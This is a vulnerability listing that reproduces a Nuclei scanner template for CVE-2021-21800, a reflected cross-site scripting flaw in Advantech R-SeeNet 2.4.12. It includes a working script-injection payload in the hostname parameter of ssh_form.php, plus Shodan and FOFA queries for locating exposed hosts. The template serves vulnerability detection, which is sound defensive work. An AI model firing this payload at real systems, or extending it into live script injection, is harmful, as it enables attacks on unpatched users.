CVE-2021-21800: Advantech R-SeeNet 2.4.12 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: Advantech R-SeeNet | POC: 已公开

漏洞描述

Advantech R-SeeNet 2.4.12 contains a reflected cross-site scripting vulnerability in the ssh_form.php script functionality.

PoC代码[已公开]

id: CVE-2021-21800

info:
  name: Advantech R-SeeNet 2.4.12 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    Advantech R-SeeNet 2.4.12 contains a reflected cross-site scripting vulnerability in the ssh_form.php script functionality.
  remediation: |
    Apply the latest security patches or updates provided by Advantech to fix the XSS vulnerability in R-SeeNet 2.4.12.
  reference:
    - https://talosintelligence.com/vulnerability_reports/TALOS-2021-1271
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21800
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Live-Hack-CVE/CVE-2021-21800
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-21800
    cwe-id: CWE-79
    epss-score: 0.72461
    epss-percentile: 0.98721
    cpe: cpe:2.3:a:advantech:r-seenet:2.4.12:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: advantech
    product: r-seenet
    shodan-query:
      - http.html:"R-SeeNet"
      - http.html:"r-seenet"
    fofa-query: body="r-seenet"
  tags: cve2021,cve,xss,r-seenet,advantech

http:
  - method: GET
    path:
      - "{{BaseURL}}/php/ssh_form.php?hostname=%3C/title%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3Ctitle%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<title>SSH Session </title><script>alert(document.domain)</script><title></title>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100eefb024f3de9d8f7427649edd6ac258986df92d3adbe7a8bcf8cb54e2f74e787022100c0832779d32c88e5e9930a86c48d081b11b17dd37f069de08c331c6d7cbb5cf1:922c64590222798bb761d5b6d8e72950
来源: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21800.yaml

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